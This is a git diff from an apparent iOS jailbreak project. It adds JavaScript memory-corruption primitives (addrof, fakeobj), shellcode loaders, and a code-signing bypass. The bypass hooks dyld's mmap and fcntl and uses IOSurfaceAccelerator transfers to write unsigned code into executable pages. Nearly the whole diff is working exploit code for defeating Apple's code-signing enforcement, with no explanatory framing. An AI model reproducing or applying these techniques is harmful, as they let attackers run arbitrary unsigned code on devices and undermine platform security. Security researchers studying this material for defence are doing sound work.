diff --git a/src/js/primitives/mem.js b/src/js/primitives/mem.js
index f6c4fe7..0cd2b7d 100644
--- a/src/js/primitives/mem.js
+++ b/src/js/primitives/mem.js
@@ -228,4 +228,43 @@ function _sptr(s) {
*/
function sptr(s) {
return _sptr(s + "\0");
+}
+
+var string_ref;
+var global_object;
+var jsobj_addr;
+
+var large_buf = new Uint32Array(0x100000);
+var large_buf_ptr = 0;
+
+function prep_shit() {
+ string_ref = scall("JSStringCreateWithUTF8CString", "victim");
+ global_object = scall("JSContextGetGlobalObject", read_u32(slid + reserve_addr + 0x44));
+ jsobj_addr = scall("JSObjectGetProperty", read_u32(slid + reserve_addr + 0x44), global_object, string_ref, NULL);
+ large_buf_ptr = leak_vec(large_buf);
+}
+
+function addrof(obj) {
+ victim.target = obj;
+ return read_u32(jsobj_addr + 0x18);
+}
+
+// broken
+function fakeobj(addy) {
+ var string_ref = scall("JSStringCreateWithUTF8CString", sptr("victim"));
+ var global_object = scall("JSContextGetGlobalObject", read_u32(slid + reserve_addr + 0x44));
+ var jsobj_addr = scall("JSObjectGetProperty", read_u32(slid + reserve_addr + 0x44), global_object, string_ref, NULL);
+ printf("YOLO\n");
+ printf("1 %x\n", read_u32(jsobj_addr + 0x18));
+ victim.target = 13.37;
+ printf("2 %x\n", read_u32(jsobj_addr + 0x18));
+ write_u32(jsobj_addr + 0x18, addy);
+ printf("3 %x\n", read_u32(jsobj_addr + 0x18));
+ return victim.target;
+}
+
+function leak_vec(arr) {
+ var addy = addrof(arr);
+ printf("%x\n", addy);
+ return read_u32(addy + VECTOR_OFFSET);
} \ No newline at end of file
diff --git a/tools/-h b/tools/-h
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/tools/-h
diff --git a/tools/935csbypass.c b/tools/935csbypass.c
new file mode 100644
index 0000000..c2685f5
--- /dev/null
+++ b/tools/935csbypass.c
@@ -0,0 +1,14 @@
+#include <stdint.h>
+#include <stdio.h>
+
+uint8_t payload[] = {
+ 0x42, 0x01, 0x04, 0xE3,
+ 0x44, 0x03, 0x44, 0xE3,
+ 0x1E, 0xFF, 0x2F, 0xE1,
+};
+
+int main(int argc, char* argv[]) {
+ uint32_t (*lol)() = (uint32_t (*)())&payload;
+ printf("Hello, world! %x\n", lol());
+ return 0;
+} \ No newline at end of file
diff --git a/tools/build_native.sh b/tools/build_native.sh
index 90ecb60..6dce749 100755
--- a/tools/build_native.sh
+++ b/tools/build_native.sh
@@ -11,8 +11,16 @@ rm bin/935csbypass
gcc 935csbypass.c -o bin/935csbypass --std=c99 -marm
ldid -S bin/935csbypass
+rm bin/defines
+gcc defines.c -o bin/defines --std=c99 -marm
+ldid -S bin/defines
+
rm shc/bin/shellcode
gcc shc/shellcode.c -o shc/bin/shellcode --std=c99 -marm -ffreestanding -c -fPIC
#ldid -S shc/bin/shellcode
-otool -t shc/bin/shellcode -X | cut -d " " -f 2- | tr -d "\n" | xxd -r -ps > shc/bin/shellcode.bin \ No newline at end of file
+otool -t shc/bin/shellcode -X | cut -d " " -f 2- | tr -d "\n" | xxd -r -ps > shc/bin/shellcode.bin
+
+rm bin/jit_all_the_things
+gcc jit_all_the_things.c -o bin/jit_all_the_things --std=c99 -marm -fPIC
+ldid -Sent.xml bin/jit_all_the_things \ No newline at end of file
diff --git a/tools/defines b/tools/defines
new file mode 100755
index 0000000..d96c3cd
--- /dev/null
+++ b/tools/defines
Binary files differ
diff --git a/tools/defines.c b/tools/defines.c
new file mode 100644
index 0000000..4c499b3
--- /dev/null
+++ b/tools/defines.c
@@ -0,0 +1,28 @@
+#include <stdint.h>
+#include <stdio.h>
+#include <dlfcn.h>
+//#include <CoreFoundation/CoreFoundation.h>
+
+uintptr_t get_dyld_shc_slide(void) {
+ return _dyld_get_image_vmaddr_slide(1);
+}
+
+uint32_t dlsym_cf(char* s) {
+ return dlsym(dlopen("/System/Library/Frameworks/CoreFoundation.framework/CoreFoundation", RTLD_NOW), s) - get_dyld_shc_slide();
+}
+
+void fuck(char* s) {
+ printf("var %s_addr = 0x%08x;\n", s, dlsym_cf(s));
+}
+
+int main(int argc, char* argv[]) {
+ printf("#define PRINTF_ADDR 0x%x\n", dlsym(RTLD_DEFAULT, "printf"));
+// printf("%x %x %x %x %x %x %x %x\n", RTLD_NOW, dlsym_cf("kCFTypeDictionaryKeyCallBacks"), 0x41414141);//, &kCFTypeDictionaryValueCallBacks, kCFNumberSInt32Type);
+ fuck("CFDictionaryCreateMutable");
+ fuck("kCFTypeDictionaryKeyCallBacks");
+ fuck("kCFTypeDictionaryValueCallBacks");
+// fuck("kCFNumberSInt32Type");
+ fuck("CFDictionarySetValue");
+ fuck("CFNumberCreate");
+ return 0;
+}
diff --git a/tools/ent.xml b/tools/ent.xml
index 2973d1d..6de10e3 100755
--- a/tools/ent.xml
+++ b/tools/ent.xml
@@ -11,5 +11,7 @@
<true/>
<key>get-task-allow</key>
<true/>
+ <key>run-unsigned-code</key>
+ <true/>
</dict>
</plist> \ No newline at end of file
diff --git a/tools/jit_all_the_things.c b/tools/jit_all_the_things.c
index d955ea1..15344e9 100755
--- a/tools/jit_all_the_things.c
+++ b/tools/jit_all_the_things.c
@@ -1,10 +1,40 @@
#include <sys/types.h>
+#include <sys/mman.h>
#include <stdio.h>
+#include <dlfcn.h>
+
+//uint8_t whatever[] = {0xe9, 0x2d, 0x40, 0x80, 0xe2, 0x8d, 0x70, 0x00, 0xeb, 0x00, 0x00, 0x08, 0xe8, 0xbd, 0x80, 0x80, 0xe9, 0x2d, 0x40, 0x80, 0xe2, 0x8d, 0x70, 0x00, 0xe5, 0x9f, 0x20, 0x08, 0xe5, 0x9f, 0x30, 0x08, 0xe5, 0x82, 0x30, 0x00, 0xe8, 0xbd, 0x80, 0x80, 0x41, 0x41, 0x41, 0x41, 0x42, 0x42, 0x42, 0x42};
#define PT_TRACE_ME 0
int ptrace(int, pid_t, caddr_t, int);
int main(int argc, char* argv[]) {
- ptrace(PT_TRACE_ME, 0, NULL, 0);
+// ptrace(PT_TRACE_ME, 0, NULL, 0);
+
+ uint8_t* whatever = NULL;
+ FILE* fp = fopen("shc/bin/shellcode.bin", "r");
+ fseek(fp, 0L, SEEK_END);
+ size_t sz = ftell(fp);
+ rewind(fp);
+
+ whatever = (uint8_t*)malloc(sz);
+ fread(whatever, 1, sz, fp);
+ fclose(fp);
+
+ void* exec = mmap(0x42000000, 0x1000, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE | MAP_FIXED, 0, 0);
+
+ mprotect(exec, 0x1000, PROT_READ | PROT_WRITE);
+
+ memcpy(exec + 4, whatever, sz);
+ *(uint32_t*)exec = dlsym(RTLD_DEFAULT, "dlsym");
+
+ printf("%x\n", *(uint32_t*)exec);
+
+ mprotect(exec, 0x1000, PROT_READ | PROT_EXEC);
+
+ void (*lol)() = (void (*)())(exec + 4);
+
+ lol();
+
exit(0);
return 0;
diff --git a/tools/payload.s b/tools/payload.s
new file mode 100644
index 0000000..e8b5add
--- /dev/null
+++ b/tools/payload.s
@@ -0,0 +1,3 @@
+movw r0, #0x4142
+movt r0, #0x4344
+bx lr \ No newline at end of file
diff --git a/tools/shc/shellcode.c b/tools/shc/shellcode.c
index e48b51d..011b5cc 100644
--- a/tools/shc/shellcode.c
+++ b/tools/shc/shellcode.c
@@ -4,7 +4,21 @@
typedef unsigned int uint32_t;
-void shellcode(void) {
- *(uint32_t*)0x41414141 = 0x42424242;
-// __builtin_unreachable();
-} \ No newline at end of file
+//#define PRINTF_ADDR 0x2054a3b9
+//#define BASE_ADDR 0x42000000
+
+void entry(void) {
+ *(uint32_t*)0x69696969 = (uint32_t)0x1;
+ /*
+ uint32_t dlsym_addr = *(uint32_t*)BASE_ADDR;
+ void* (*dlsym)(void* handle, char* s) = (void* (*)(void*, char*))dlsym_addr;
+ void (*abort)(void) = dlsym(0xfffffffe, "abort");
+ abort();*/
+}
+
+/*
+void shellcode_main(void) {
+ uint32_t puts_addr = *(uint32_t*)BASE_ADDR;
+ int (*puts)(char* s) = (int (*)(char* s))puts_addr;
+ puts("Hello from shellcode!\n");
+}*/ \ No newline at end of file
diff --git a/work/cs935.c b/work/cs935.c
new file mode 100644
index 0000000..446d16d
--- /dev/null
+++ b/work/cs935.c
@@ -0,0 +1,133 @@
+//
+// cs935.c
+// cs935
+//
+// Created by tihmstar on 12.05.22.
+//
+
+#include "cs935.h"
+#include <fcntl.h>
+#import <sys/syscall.h>
+#import <dlfcn.h>
+#include <mach-o/nlist.h>
+#include <mach-o/dyld.h>
+#include <mach-o/fat.h>
+#include <sys/mman.h>
+#include <mach/mach.h>
+#include <CoreFoundation/CoreFoundation.h>
+
+kern_return_t mach_vm_remap(vm_map_t target_task, mach_vm_address_t *target_address, mach_vm_size_t size, mach_vm_offset_t mask, int flags, vm_map_t src_task, mach_vm_address_t src_address, boolean_t copy, vm_prot_t *cur_protection, vm_prot_t *max_protection, vm_inherit_t inheritance);
+static CFStringRef *my_kIOSurfaceBytesPerRow;
+static CFStringRef *my_kIOSurfaceWidth;
+static CFStringRef *my_kIOSurfaceHeight;
+static CFStringRef *my_kIOSurfacePixelFormat;
+static uint32_t (*my_IOSurfaceAcceleratorCreate)(CFAllocatorRef allocator, int type, void *outAccelerator);
+static void *(*my_IOSurfaceCreate)(CFDictionaryRef properties);
+static uint32_t (*my_IOSurfaceAcceleratorTransferSurface)(void *accelerator, void *source, void *dest, CFDictionaryRef, void *);
+
+
+uint32_t data[0x100] = {
+ 0x1000//size of executable code mapped R-X, everything after is RW-
+};
+
+int testcode(int a, int b);
+
+
+asm(".align 4");
+int doAdd(int a, int b){
+ return a+b;
+}
+int end_doAdd(){
+ return 0;
+}
+
+
+void *getData(){
+ //first prepare data
+ uint8_t *start = (uint8_t*)(((uint64_t)doAdd) & ~1);
+ uint8_t *end = (uint8_t*)end_doAdd;
+ memcpy(&data[1], start, end-start);
+
+ return data;
+}
+
+void *memcpy_exec(void *dst, void*src, size_t size){
+ //setup
+ CFMutableDictionaryRef dict = NULL;
+ void* accel = 0;
+ {
+ int width = PAGE_SIZE / (16*4);
+ int height = 16;
+ int pitch = width*4;
+ char pixelFormat[4] = {'A','R','G','B'};
+ dict = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
+ CFDictionarySetValue(dict, *my_kIOSurfaceBytesPerRow, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &pitch));
+ CFDictionarySetValue(dict, *my_kIOSurfaceWidth, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &width));
+ CFDictionarySetValue(dict, *my_kIOSurfaceHeight, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &height));
+ CFDictionarySetValue(dict, *my_kIOSurfacePixelFormat, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, pixelFormat));
+ assert(my_IOSurfaceAcceleratorCreate(kCFAllocatorDefault, 0, &accel) == KERN_SUCCESS);
+ }
+
+ //transfer pages
+ for (uint32_t i=0; i<size; i+= PAGE_SIZE) {
+ kern_return_t kr = 0;
+ mach_vm_address_t target = ((uint64_t)dst)+i;
+ mach_vm_address_t srcaddr = src;
+
+ CFDictionarySetValue(dict, CFSTR("IOSurfaceAddress"), CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt64Type, &srcaddr));
+ void *srcSurf = my_IOSurfaceCreate(dict);
+
+ mprotect(target, PAGE_SIZE, PROT_READ|PROT_WRITE);
+ CFDictionarySetValue(dict, CFSTR("IOSurfaceAddress"), CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt64Type, &target));
+ void *destSurf = my_IOSurfaceCreate(dict);
+ mprotect(target, PAGE_SIZE, PROT_READ|PROT_EXEC);
+ mlock(target, PAGE_SIZE);
+
+ kr = my_IOSurfaceAcceleratorTransferSurface(accel, srcSurf, destSurf, 0, 0);
+ printf("kr2=0x%08x\n",kr);
+ assert(kr == 0);
+
+ CFRelease(destSurf);
+ CFRelease(srcSurf);
+ }
+ return dst;
+}
+
+void linkIOSurface(){
+ void *h = dlopen("/System/Library/PrivateFrameworks/IOSurface.framework/IOSurface", RTLD_NOW);
+
+ my_kIOSurfaceBytesPerRow = dlsym(h, "kIOSurfaceBytesPerRow");
+ my_kIOSurfaceWidth = dlsym(h, "kIOSurfaceWidth");
+ my_kIOSurfaceHeight = dlsym(h, "kIOSurfaceHeight");
+ my_kIOSurfacePixelFormat = dlsym(h, "kIOSurfacePixelFormat");
+
+ my_IOSurfaceAcceleratorCreate = dlsym(h, "IOSurfaceAcceleratorCreate");
+ my_IOSurfaceCreate = dlsym(h, "IOSurfaceCreate");
+ my_IOSurfaceAcceleratorTransferSurface = dlsym(h, "IOSurfaceAcceleratorTransferSurface");
+}
+
+int main(int,char**);
+
+void poc(void){
+
+ linkIOSurface();
+
+ uint8_t *tmp = malloc(0x4000);
+ uint8_t *start = (uint8_t*)(((uint64_t)doAdd) & ~1);
+ memcpy(tmp, start, 0x1000);
+
+ uint8_t *finish = (uint8_t*)(((uint64_t)testcode) & ~0xfff);
+
+ memcpy_exec(finish, tmp, 0x1000);
+
+ int (*kkk)(int,int) = (finish+1);
+
+ int res = kkk(7,10);
+ printf("res = %d\n",res);
+
+ printf("");
+};
+
+int testcode(int a, int b){
+ return 4;
+}
diff --git a/work/cs_bypass.m b/work/cs_bypass.m
new file mode 100755
index 0000000..f447b14
--- /dev/null
+++ b/work/cs_bypass.m
@@ -0,0 +1,302 @@
+
+#import <Foundation/Foundation.h>
+#import <sys/syscall.h>
+#import <dlfcn.h>
+#include <mach-o/nlist.h>
+#include <mach-o/dyld.h>
+#include <mach-o/fat.h>
+#include <sys/mman.h>
+#include <mach/mach.h>
+#import <IOSurface/IOSurface.h>
+
+kern_return_t IOSurfaceAcceleratorCreate(CFAllocatorRef allocator, int type, void **outAccelerator);
+kern_return_t IOSurfaceAcceleratorTransferSurface(void* accelerator, IOSurfaceRef source, IOSurfaceRef dest, CFDictionaryRef, void *);
+
+#ifdef __LP64__
+#define mach_hdr struct mach_header_64
+#define sgmt_cmd struct segment_command_64
+#define sect_cmd struct section_64
+#define nlist_ struct nlist_64
+#define LC_SGMT LC_SEGMENT_64
+#define MH_MAGIC_ MH_MAGIC_64
+#else
+#define mach_hdr struct mach_header
+#define sgmt_cmd struct segment_command
+#define sect_cmd struct section
+#define nlist_ struct nlist
+#define LC_SGMT LC_SEGMENT
+#define MH_MAGIC_ MH_MAGIC
+#endif
+#define load_cmd struct load_command
+
+
+sect_cmd *find_section(sgmt_cmd *seg, const char *name)
+{
+ sect_cmd *sect, *fs = NULL;
+ uint32_t i = 0;
+ for (i = 0, sect = (sect_cmd *)((uint64_t)seg + (uint64_t)sizeof(sgmt_cmd));
+ i < seg->nsects;
+ i++, sect = (sect_cmd*)((uint64_t)sect + sizeof(sect_cmd)))
+ {
+ if (!strcmp(sect->sectname, name)) {
+ fs = sect;
+ break;
+ }
+ }
+ return fs;
+}
+
+struct load_command *find_load_command(mach_hdr *mh, uint32_t cmd)
+{
+ load_cmd *lc, *flc;
+ lc = (load_cmd *)((uint64_t)mh + sizeof(mach_hdr));
+ while ((uint64_t)lc < (uint64_t)mh + (uint64_t)mh->sizeofcmds) {
+ if (lc->cmd == cmd) {
+ flc = (load_cmd *)lc;
+ break;
+ }
+ lc = (load_cmd *)((uint64_t)lc + (uint64_t)lc->cmdsize);
+ }
+ return flc;
+}
+
+sgmt_cmd *find_segment(mach_hdr *mh, const char *segname)
+{
+ load_cmd *lc;
+ sgmt_cmd *s, *fs = NULL;
+ lc = (load_cmd *)((uint64_t)mh + sizeof(mach_hdr));
+ while ((uint64_t)lc < (uint64_t)mh + (uint64_t)mh->sizeofcmds) {
+ if (lc->cmd == LC_SGMT) {
+ s = (sgmt_cmd *)lc;
+ if (!strcmp(s->segname, segname)) {
+ fs = s;
+ break;
+ }
+ }
+ lc = (load_cmd *)((uint64_t)lc + (uint64_t)lc->cmdsize);
+ }
+ return fs;
+}
+
+void* find_sym(mach_hdr *mh, const char *name) {
+ sgmt_cmd* first = (sgmt_cmd*) find_load_command(mh, LC_SGMT);
+ sgmt_cmd* linkedit = find_segment(mh, SEG_LINKEDIT);
+ struct symtab_command* symtab = (struct symtab_command*) find_load_command(mh, LC_SYMTAB);
+ vm_address_t vmaddr_slide = (vm_address_t)mh - (vm_address_t)first->vmaddr;
+
+ char* sym_str_table = (char*) linkedit->vmaddr - linkedit->fileoff + vmaddr_slide + symtab->stroff;
+ nlist_* sym_table = (nlist_*)(linkedit->vmaddr - linkedit->fileoff + vmaddr_slide + symtab->symoff);
+
+ for (int i = 0; i < symtab->nsyms; i++) {
+ if (sym_table[i].n_value && !strcmp(name,&sym_str_table[sym_table[i].n_un.n_strx])) {
+ return (void*) (uint64_t) (sym_table[i].n_value + vmaddr_slide);
+ }
+ }
+ return 0;
+}
+
+vm_address_t find_dyld() {
+ kern_return_t kr = KERN_SUCCESS;
+ vm_address_t address = 0;
+ vm_size_t size = 0;
+
+ while (1) {
+ mach_msg_type_number_t count;
+ struct vm_region_submap_info_64 info;
+ uint32_t nesting_depth;
+
+ count = VM_REGION_SUBMAP_INFO_COUNT_64;
+ kr = vm_region_recurse_64(mach_task_self(), &address, &size, &nesting_depth,
+ (vm_region_info_64_t)&info, &count);
+ if (kr == KERN_INVALID_ADDRESS) {
+ break;
+ } else if (kr) {
+ mach_error("vm_region:", kr);
+ break; /* last region done */
+ }
+
+ if (info.is_submap) {
+ nesting_depth++;
+ } else {
+ if (info.protection & PROT_EXEC && info.protection & PROT_READ) {
+ if (*(uint32_t*) (address) == MH_MAGIC_ ) {
+ mach_hdr* hd = (mach_hdr*) address;
+ if (hd->filetype == MH_DYLINKER) {
+ return address;
+ }
+ }
+ }
+ address += size;
+ }
+ }
+ return 0;
+}
+
+static int fcntlhook(int a, int b) {
+ return -1;
+}
+
+
+void memcpy_bypassprot_page(void* addr, void* src) {
+ static int fd = 0;
+ static vm_offset_t protmap = 0;
+ static CFMutableDictionaryRef dict;
+ static void* accel = 0;
+
+ if (!fd) {
+ fd = open("/usr/lib/dyld", O_RDONLY);
+
+
+ assert(fd!=-1);
+
+ char dyld_header[0x4000];
+
+ vm_offset_t off = 0;
+ while (1) {
+ pread(fd, dyld_header, 0x4000, off);
+
+ if (*(uint32_t*)(dyld_header) == MH_MAGIC) {
+ break;
+ }
+
+ off += 0x1000;
+ }
+
+
+ struct mach_header* hdr = dyld_header;
+ struct load_command* lc = hdr + 1;
+ for (int i = 0; i < hdr->ncmds; i++) {
+ if (lc->cmd == LC_CODE_SIGNATURE) {
+ struct linkedit_data_command* codeSigCmd = lc;
+ fsignatures_t siginfo;
+ siginfo.fs_file_start=off; // start of mach-o slice in fat file
+ siginfo.fs_blob_start=(void*)(long)(codeSigCmd->dataoff); // start of CD in mach-o file
+ siginfo.fs_blob_size=codeSigCmd->datasize; // size of CD
+ int result = fcntl(fd, F_ADDFILESIGS_RETURN, &siginfo);
+ NSLog(@"Sigload %x", result);
+ protmap = off;
+ break;
+ }
+ lc = ((char*)lc) + lc->cmdsize;
+ }
+
+ assert(protmap);
+
+ int width = PAGE_SIZE / (8*4);
+ int height = 8;
+
+ int pitch = width*4, size = width*height*4;
+ int bPE=4;
+ char pixelFormat[4] = {'A','R','G','B'};
+ dict = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
+ CFDictionarySetValue(dict, kIOSurfaceBytesPerRow, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &pitch));
+ CFDictionarySetValue(dict, kIOSurfaceBytesPerElement, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &bPE));
+ CFDictionarySetValue(dict, kIOSurfaceWidth, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &width));
+ CFDictionarySetValue(dict, kIOSurfaceHeight, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &height));
+ CFDictionarySetValue(dict, kIOSurfacePixelFormat, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, pixelFormat));
+ CFDictionarySetValue(dict, kIOSurfaceAllocSize, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &size));
+ assert(IOSurfaceAcceleratorCreate(kCFAllocatorDefault, 0, &accel) == KERN_SUCCESS);
+ IOSurfaceAcceleratorTransferSurface(0,0,0,0,0);
+ mprotect(0,0,0);
+ mlock(0,0);
+ mmap(0,0,0,0,0,0);
+ IOSurfaceCreate(0);
+ memcmp(0,0,0);
+
+ }
+
+ CFDictionarySetValue(dict, CFSTR("IOSurfaceAddress"), CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt64Type, &src));
+ IOSurfaceRef srcSurf = IOSurfaceCreate(dict);
+
+ munmap(addr,PAGE_SIZE);
+ mmap(addr, PAGE_SIZE, PROT_READ|PROT_EXEC, MAP_FIXED|MAP_FILE|MAP_PRIVATE, fd, protmap);
+ mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE);
+ CFDictionarySetValue(dict, CFSTR("IOSurfaceAddress"), CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt64Type, &addr));
+ IOSurfaceRef destSurf = IOSurfaceCreate(dict);
+ mprotect(addr, PAGE_SIZE, PROT_READ|PROT_EXEC);
+ mlock(addr, PAGE_SIZE);
+
+ assert(destSurf && srcSurf);
+ assert(IOSurfaceAcceleratorTransferSurface(accel, srcSurf, destSurf, 0, 0) == 0);
+
+ CFRelease(destSurf);
+ CFRelease(srcSurf);
+}
+
+
+
+static void *
+mmaphook(void *addr, size_t len, int prot, int flags, int fd, off_t offset)
+{
+ if (!(prot & PROT_EXEC)) {
+ return mmap(addr,len,prot,flags,fd,offset);
+ }
+ static char* buf = 0;
+ if (!buf) {
+ buf = mmap(0, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, 0, 0);
+ }
+ off_t actoff = 0;
+
+ while (actoff < len) {
+ pread(fd, buf, PAGE_SIZE, offset+actoff);
+ memcpy_bypassprot_page(addr + actoff, buf);
+ actoff += PAGE_SIZE;
+ }
+ return addr;
+}
+
+__attribute__((constructor))
+void ayy_lmao() {
+ // Load PLT entries (munmap breaks dyld..)
+
+ mmap(0, 0, 0, 0, 0, 0);
+ mlock(0, 0);
+ mprotect(0, 0, 0);
+
+ char *buf = mmap(0, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, 0, 0);
+
+
+ mach_hdr* dyld_hdr = (mach_hdr*) find_dyld();
+ assert(dyld_hdr);
+ assert(dyld_hdr->filetype == MH_DYLINKER);
+ // Copy original code
+
+ vm_address_t fcntl = (vm_address_t) find_sym(dyld_hdr, "_fcntl");
+ assert(fcntl);
+ vm_address_t xmmap = (vm_address_t) find_sym(dyld_hdr, "_xmmap");
+ assert(xmmap);
+
+ memcpy(buf, (void*)(xmmap & (~PAGE_MASK)), PAGE_SIZE);
+
+ // Patch.
+
+ extern void _tramp_begin();
+ extern void _tramp_end();
+ char* xmb = &buf[xmmap & PAGE_MASK];
+ memcpy(xmb, _tramp_begin, ((vm_address_t)_tramp_end)-((vm_address_t)_tramp_begin));
+
+ vm_address_t* tramp_target = (vm_address_t*) &xmb[((vm_address_t)_tramp_end)-((vm_address_t)_tramp_begin)];
+ tramp_target --;
+ *tramp_target = (vm_address_t) mmaphook;
+
+ // Replace code
+
+ memcpy_bypassprot_page((void*)(xmmap & (~PAGE_MASK)), buf);
+
+ // Copy original code
+
+ memcpy(buf, (void*)(fcntl & (~PAGE_MASK)), PAGE_SIZE);
+
+ // Patch.
+
+ xmb = &buf[fcntl & PAGE_MASK];
+ memcpy(xmb, _tramp_begin, ((vm_address_t)_tramp_end)-((vm_address_t)_tramp_begin));
+
+ tramp_target = (vm_address_t*) &xmb[((vm_address_t)_tramp_end)-((vm_address_t)_tramp_begin)];
+ tramp_target --;
+ *tramp_target = (vm_address_t) fcntlhook;
+
+ // Replace code
+
+ memcpy_bypassprot_page((void*)(fcntl & (~PAGE_MASK)), buf);
+} \ No newline at end of file
diff --git a/work/shit.js b/work/shit.js
new file mode 100644
index 0000000..4a84da9
--- /dev/null
+++ b/work/shit.js
@@ -0,0 +1,41 @@
+
+
+// new_buf_.push(tmp[0]);
+// new_buf_.push(tmp[1]);
+// new_buf_.push(tmp[2]);
+// new_buf_.push(tmp[3]);
+// tmp = u32_to_u8x4(num);
+// new_buf_.push(tmp[0]);
+// new_buf_.push(tmp[1]);
+// new_buf_.push(tmp[2]);
+// new_buf_.push(tmp[3]);
+// new_buf_.push(0);
+// new_buf_.push(0);
+// new_buf_.push(MACH_MSG_OOL_PORTS_DESCRIPTOR);
+// new_buf_.push(19);
+
+// printf("%x 0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,\n", new_buf_.length, new_buf_[zz]]);
+
+// var new_buf = fast_array_mul(new_buf_, number_port_descs);
+
+ /*
+ for (var i = 0; i < number_port_descs; i++) {
+ write_u32(buf + (req_init_port_set * (i + 1)) + req_init_port_set_address, init_port_set);
+ write_u32(buf + (req_init_port_set * (i + 1)) + req_init_port_set_count, num);
+ write_u8(buf + (req_init_port_set * (i + 1)) + 0x8, 0);
+ write_u8(buf + (req_init_port_set * (i + 1)) + 0xa, 19);
+ write_u8(buf + (req_init_port_set * (i + 1)) + 0xb, MACH_MSG_OOL_PORTS_DESCRIPTOR);
+ }*/
+
+// var tmp = u32_to_u8x4(init_port_set);
+printf("still alive? %x\n", 420);
+printf("still still alive?\n");
+printf("yolo\n");
+printf("%x\n", o);
+
+mach_port_deallocate(self, read_u32(data));
+write_u32(data, MACH_PORT_NULL);
+printf("%x %x\n", master, read_u32(master));
+printf("%x\n", read_u32(0x36ebf00c + get_dyld_shc_slide()));
+printf("still alive? %x %x\n", err, read_u32(err));
+printf("still alive? %x %x\n", err, read_u32(err));